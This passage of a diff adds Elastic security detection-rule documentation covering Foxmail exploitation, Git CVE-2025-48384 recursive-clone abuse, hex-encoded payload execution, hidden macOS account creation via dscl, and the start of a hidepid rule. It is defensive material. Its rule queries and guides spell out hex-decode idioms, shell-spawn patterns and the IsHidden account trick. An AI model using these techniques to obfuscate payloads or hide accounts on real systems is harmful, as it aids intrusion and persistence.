Sysmon, or Microsoft Defender for Endpoint to identify any related suspicious activities or patterns. +- Assess the risk and impact on the affected system by determining if any unauthorized changes or additional malicious processes have been initiated following the initial alert. + + +*False positive analysis* + + +- Routine software updates or installations may cause Foxmail to spawn child processes in the temp directory. Users can create exceptions for known update processes to prevent false alerts. +- Legitimate plugins or extensions for Foxmail might execute processes from the temp directory. Verify the legitimacy of these plugins and exclude them if they are trusted. +- Automated scripts or backup software interacting with Foxmail could trigger the rule. Identify these scripts and add them to an exclusion list if they are verified as safe. +- User-initiated actions such as importing or exporting data in Foxmail might result in temporary process creation. Monitor these activities and exclude them if they are part of regular operations. +- Security software performing scans or checks on Foxmail's temp directory can be mistaken for exploitation attempts. Confirm these activities and whitelist the security software processes involved. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any ongoing malicious activity. +- Terminate any suspicious processes spawned by Foxmail that are identified in the alert to stop the execution of potentially malicious payloads. +- Conduct a thorough scan of the affected system using an updated antivirus or endpoint detection and response (EDR) tool to identify and remove any malicious files or remnants. +- Review and analyze email logs and quarantine any suspicious emails that may have been the source of the exploit to prevent further exploitation attempts. +- Apply any available security patches or updates to Foxmail and the operating system to mitigate known vulnerabilities and prevent future exploitation. +- Monitor the network and systems for any signs of lateral movement or additional compromise, using indicators of compromise (IOCs) identified during the investigation. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional actions are required based on the scope and impact of the threat. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "Foxmail.exe" and process.args : ("?:\\Users\\*\\AppData\\*", "\\\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Drive-by Compromise +** ID: T1189 +** Reference URL: https://attack.mitre.org/techniques/T1189/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-git-cve-2025-48384-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-git-cve-2025-48384-exploitation.asciidoc new file mode 100644 index 0000000000..214a0a0d84 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-git-cve-2025-48384-exploitation.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-potential-git-cve-2025-48384-exploitation]] +=== Potential Git CVE-2025-48384 Exploitation + +This rule detects potential exploitation of CVE-2025-48384 via Git. This vulnerability allows attackers to execute arbitrary code by leveraging Git's recursive clone feature to fetch and execute malicious scripts from a remote repository. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-crowdstrike.fdr* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.kucoin.com/zh-hant/blog/en-breaking-lazarus-group-apt38-targets-crypto-sector-with-sophisticated-phishing-campaign +* https://securitylabs.datadoghq.com/articles/git-arbitrary-file-write/ +* https://github.com/acheong08/CVE-2025-48384 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Git CVE-2025-48384 Exploitation* + + +This rule flags a Git recursive clone from an HTTP(S) remote followed moments later by a shell spawned by Git—clear evidence of CVE-2025-48384 abuse enabling arbitrary code execution on Linux or macOS. An attacker ships a repository whose submodules or hooks pull and run a bash script during --recursive clone, causing Git to invoke a shell and execute their payload on a developer endpoint. + + +*Possible investigation steps* + + +- Extract the remote URL and parameters from the git invocation and review .gitmodules to enumerate submodules, then assess the domain/account reputation and recent commits for signs of a malicious repo or takeover. +- Inspect the cloned repository for hook execution vectors by reviewing .git/hooks and any core.hooksPath overrides for newly created or modified executables (post-checkout/post-merge/post-update), noting contents and timestamps. +- Analyze the spawned shell’s lineage, command line, working directory, and any script or binary launched to identify the payload, compute hashes, and correlate with concurrent outbound connections or file writes. +- Pivot on the repo URL, hooks filenames, and payload hash across hosts to identify other impacted endpoints, and verify whether this activity aligns with expected developer workflows or CI jobs to rule out benign use. +- Examine the endpoint for follow-on changes suggesting execution or persistence (new cron/LaunchAgents entries, modified shell profiles, new SSH keys or credentials files, unusual PATH or gitconfig changes), and collect artifacts for forensic review. + + +*False positive analysis* + + +- Legitimate organization-wide or user-level Git hooks installed via core.hooksPath or templates run a post-checkout bootstrap shell script after a recursive HTTP or HTTPS clone, causing git to spawn a shell as a child process. +- During a recursive HTTP or HTTPS clone, Git invokes a credential or askpass helper implemented as a shell script for authentication, resulting in a benign sh/bash child of the git process. + + +*Response and remediation* + + +- Immediately isolate any host where git clone --recursive from an HTTP(S) URL spawned a shell, terminate the git process tree (bash/sh and curl/wget/python children) launched from the cloned path, and block the repository domain on your proxy and Git hosting. +- Quarantine the cloned directory and its .git folder, preserve .gitmodules, .git/hooks, and any core.hooksPath target for forensics, then remove executable hooks (post-checkout/post-merge/post-update) and delete the repository and downloaded payload scripts. +- Rotate credentials available to the user (replace ~/.ssh keys and clear ~/.git-credentials/osxkeychain/libsecret), and eradicate persistence by removing new cron entries, LaunchAgents/LaunchDaemons, modified shell profiles (~/.bashrc, ~/.zshrc), and unexpected PATH or gitconfig changes. +- Scope and recover by hunting for the same remote URL, hook names, and payload hashes across endpoints and CI runners, reimaging or restoring clean baselines before returning systems to service. +- Escalate to incident command if multiple hosts show a git->shell chain from the same repository, if the payload invoked sudo or wrote to /etc/cron* or /Library/LaunchDaemons, or if outbound transfers occur to the repo’s domain or newly contacted IPs. +- Upgrade Git to a patched release for CVE-2025-48384, enforce core.hooksPath to a read-only allowlisted directory, disable recursive submodule cloning by default (submodule.recurse=false), restrict protocols (protocol.file.allow=never; allow only https/ssh), and block clones from untrusted domains in developer and CI environments. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [process where host.os.type in ("linux", "macos") and event.type == "start" and event.action in ("exec", "executed", "process_started", "start", "ProcessRollup2") and + process.name == "git" and process.args == "clone" and process.args == "--recursive" and process.args like~ "http*"] by process.entity_id + [process where host.os.type in ("linux", "macos") and event.type == "start" and event.action in ("exec", "executed", "process_started", "start", "ProcessRollup2") and + process.name in ( + "dash", "sh", "static-sh", "bash", "bash-static", "zsh", "ash", "csh", "ksh", "tcsh", "busybox", "fish", "ksh93", "rksh", + "rksh93", "lksh", "mksh", "mksh-static", "csharp", "posh", "rc", "sash", "yash", "zsh5", "zsh5-static" + )] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-hex-payload-execution-via-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-hex-payload-execution-via-command-line.asciidoc new file mode 100644 index 0000000000..8f530e84b1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-hex-payload-execution-via-command-line.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-20-potential-hex-payload-execution-via-command-line]] +=== Potential Hex Payload Execution via Command-Line + +This rule detects when a process executes a command line containing hexadecimal characters. Malware authors may use hexadecimal encoding to obfuscate their payload and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Hex Payload Execution via Command-Line* + + +In Linux environments, command-line interfaces are pivotal for executing processes and scripts. Adversaries exploit this by embedding payloads in hexadecimal format to obfuscate their actions, evading detection. The detection rule identifies processes with lengthy command lines containing multiple hex patterns, signaling potential obfuscation. This approach targets defense evasion tactics, leveraging Elastic Defend to flag suspicious executions. + + +*Possible investigation steps* + + +- Review the process.command_line field to identify the specific hexadecimal patterns and assess if they correspond to known malicious payloads or commands. +- Examine the process.parent.executable to determine the parent process that initiated the execution, which may provide context on whether the execution is expected or suspicious. +- Check the user account associated with the process execution to verify if the activity aligns with typical user behavior or if it indicates potential compromise. +- Investigate the host where the alert was triggered to identify any other related suspicious activities or anomalies that might indicate a broader compromise. +- Correlate the event with other logs or alerts from the same host or user to identify patterns or repeated attempts at obfuscation and execution. + + +*False positive analysis* + + +- Legitimate software installations or updates may use hexadecimal encoding in command lines for legitimate purposes. Users can create exceptions for known software update processes by identifying their parent executable paths and excluding them from the rule. +- System administration scripts or tools that utilize hexadecimal encoding for configuration or data processing might trigger the rule. Review and whitelist these scripts by verifying their source and purpose, then exclude them based on their command line patterns or parent processes. +- Security tools or monitoring software that perform regular scans or data collection using hexadecimal encoding could be flagged. Confirm these tools' legitimacy and add them to an exception list by specifying their executable paths or command line characteristics. +- Custom applications developed in-house that use hexadecimal encoding for data handling or communication may be mistakenly identified. Document these applications and exclude them by their unique command line signatures or parent process identifiers. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious process identified by the detection rule to halt any ongoing malicious execution. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as modified files or unauthorized user accounts. +- Remove any identified malicious files or scripts from the system to ensure the threat is eradicated. +- Restore the system from a known good backup if any critical system files or configurations have been altered. +- Update and patch the system to close any vulnerabilities that may have been exploited by the adversary. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +?process.parent.executable != null and +process.command_line : "*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*" and +length(process.command_line) > 50 and +not process.name in ("snap", "printf", "sed") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-hex-payload-execution-via-common-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-hex-payload-execution-via-common-utility.asciidoc new file mode 100644 index 0000000000..58e1c4c7a8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-hex-payload-execution-via-common-utility.asciidoc @@ -0,0 +1,209 @@ +[[prebuilt-rule-8-19-20-potential-hex-payload-execution-via-common-utility]] +=== Potential Hex Payload Execution via Common Utility + +This rule detects potential hex payload execution on Linux systems. Adversaries may use hex encoding to obfuscate payloads and evade detection mechanisms. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Potential Hex Payload Execution via Common Utility* + + +Hex encoding is often used in Linux environments to obfuscate data, making it harder for security tools to detect malicious payloads. Adversaries exploit this by encoding their payloads in hex to bypass security measures. The detection rule identifies suspicious processes like `xxd`, `python`, `php`, and others that use hex-related functions, signaling potential obfuscation attempts. By monitoring these patterns, the rule helps uncover hidden threats. + + +*Possible investigation steps* + + +- Review the process details, including the process name and command line arguments, to confirm if the execution aligns with typical hex decoding or encoding activities. +- Check the parent process of the suspicious process to understand the context of how the process was initiated and whether it was expected or part of a legitimate workflow. +- Investigate the user account associated with the process execution to determine if the activity is consistent with the user's normal behavior or if the account may have been compromised. +- Examine the network activity associated with the process to identify any potential data exfiltration or communication with known malicious IP addresses. +- Look for any related file modifications or creations around the time of the process execution to identify if the decoded payload was written to disk or executed further. +- Cross-reference the alert with other security tools or logs, such as Crowdstrike or SentinelOne, to gather additional context or corroborating evidence of malicious activity. + + +*False positive analysis* + + +- Development and testing environments may frequently use hex encoding functions for legitimate purposes. To reduce noise, consider excluding processes running on known development servers from the rule. +- System administrators might use hex encoding tools like `xxd` for data conversion tasks. Identify and whitelist these routine administrative scripts to prevent false alerts. +- Automated scripts or applications that process data in hex format for encoding or decoding purposes can trigger this rule. Review and exclude these scripts if they are verified as non-malicious. +- Security tools or monitoring solutions themselves might use hex encoding for data analysis. Ensure these tools are recognized and excluded from triggering the rule. +- Regularly review and update the exclusion list to adapt to changes in the environment and ensure that only verified non-threatening behaviors are excluded. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of potentially malicious payloads. +- Terminate any suspicious processes identified by the detection rule, such as those involving `xxd`, `python`, `php`, `ruby`, `perl`, or `lua` with hex-related functions. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove any malicious payloads or remnants. +- Review and analyze system logs and process execution history to determine the scope of the compromise and identify any additional affected systems. +- Restore the system from a known good backup if malicious activity is confirmed and cannot be fully remediated. +- Implement additional monitoring on the affected system and network to detect any recurrence of similar obfuscation attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +( + (process.name == "xxd" and process.args like ("-r*", "-p*")) or + (process.name like "python*" and process.command_line like "*fromhex*" and process.command_line like ("*decode*", "*encode*")) or + (process.name like "php*" and process.command_line like "*hex2bin*") or + (process.name like "ruby*" and process.command_line like "*].pack(\"H*\")*") or + (process.name like "perl*" and process.command_line like "*pack(\"H*\",*") or + (process.name like "lua*" and process.command_line like "*tonumber(cc, 16)*") +) and +not ( + // Vulnerability scanning tools scanning for xz-backdoor + process.command_line like ("*liblzma*", "*xz*") or + ?process.parent.args like ( + "/srv/acme/acme.sh", "/home/*/.acme.sh/acme.sh", "/opt/custom-nagios-plugins/check_rad_eap", + "/usr/bin/testssl", "./testssl.sh", "/root/.acme.sh/acme.sh" + ) or + ?process.parent.args like "printf*" or + ?process.working_directory in ( + "/home/prtg-ssh", + "/home/svc-acas-lnx", + "/tmp/newroot/home/svc-acas-lnx", + "/var/prtg/scriptsxml" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-hidden-local-user-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-hidden-local-user-account-creation.asciidoc new file mode 100644 index 0000000000..26d249e918 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-hidden-local-user-account-creation.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-20-potential-hidden-local-user-account-creation]] +=== Potential Hidden Local User Account Creation + +Identifies attempts to create a local account that will be hidden from the macOS logon window. This may indicate an attempt to evade user attention while maintaining persistence using a separate local account. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.apple.com/en-us/HT203998 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Hidden Local User Account Creation* + + +In macOS environments, the `dscl` command-line utility manages directory services, including user accounts. Adversaries may exploit this to create hidden local accounts, evading detection while maintaining persistence. The detection rule monitors for `dscl` processes attempting to set accounts as hidden, flagging suspicious activity indicative of potential misuse. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of the `dscl` command with arguments related to account creation and hiding, specifically checking for `IsHidden`, `create`, and values like `true`, `1`, or `yes`. +- Identify the user account under which the `dscl` command was executed to determine if it was initiated by an authorized user or a potential adversary. +- Check the system logs for any additional suspicious activity around the time the `dscl` command was executed, such as other unauthorized account modifications or unusual login attempts. +- Investigate the newly created account details, if available, to assess its purpose and legitimacy, including checking for any associated files or processes that might indicate malicious intent. +- Correlate the event with other security alerts or anomalies on the host to determine if this activity is part of a broader attack pattern or isolated incident. + + +*False positive analysis* + + +- System administrators may use the dscl command to create hidden accounts for legitimate purposes such as maintenance or automated tasks. To manage this, create exceptions for known administrator accounts or scripts that regularly perform these actions. +- Some third-party applications or management tools might use hidden accounts for functionality or security purposes. Identify these applications and whitelist their processes to prevent unnecessary alerts. +- During system setup or configuration, hidden accounts might be created as part of the initial setup process. Exclude these initial setup activities by correlating them with known installation or configuration events. +- Regular audits of user accounts and their creation processes can help distinguish between legitimate and suspicious account creation activities, allowing for more informed exception handling. +- If a specific user or group frequently triggers this rule due to their role, consider creating a role-based exception to reduce noise while maintaining security oversight. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or data exfiltration by the adversary. +- Use administrative privileges to review and remove any unauthorized hidden user accounts created using the `dscl` command. Ensure that legitimate accounts are not affected. +- Change passwords for all local accounts on the affected system to prevent unauthorized access using potentially compromised credentials. +- Conduct a thorough review of system logs and security alerts to identify any additional suspicious activities or indicators of compromise related to the hidden account creation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement enhanced monitoring for `dscl` command usage across all macOS systems in the environment to detect and respond to similar threats promptly. +- Update and reinforce endpoint security measures, such as ensuring all systems have the latest security patches and antivirus definitions, to prevent exploitation of known vulnerabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "dscl" and process.args like~ "IsHidden" and process.args like~ "create" and + process.args like~ ("true", "1", "yes") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Users +** ID: T1564.002 +** Reference URL: https://attack.mitre.org/techniques/T1564/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-hidden-process-via-mount-hidepid.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-hidden-process-via-mount-hidepid.asciidoc new file mode 100644 index 0000000000..60dfbd3b5a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-hidden-process-via-mount-hidepid.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-potential-hidden-process-via-mount-hidepid]] +=== Potential Hidden Process via Mount Hidepid + +Identifies the execution of mount process with hidepid parameter, which can make processes invisible to other users from the system. Adversaries using Linux kernel version 3.2+ (or RHEL/CentOS v6.5+ above) can hide the process from other users. When hidepid=2 option 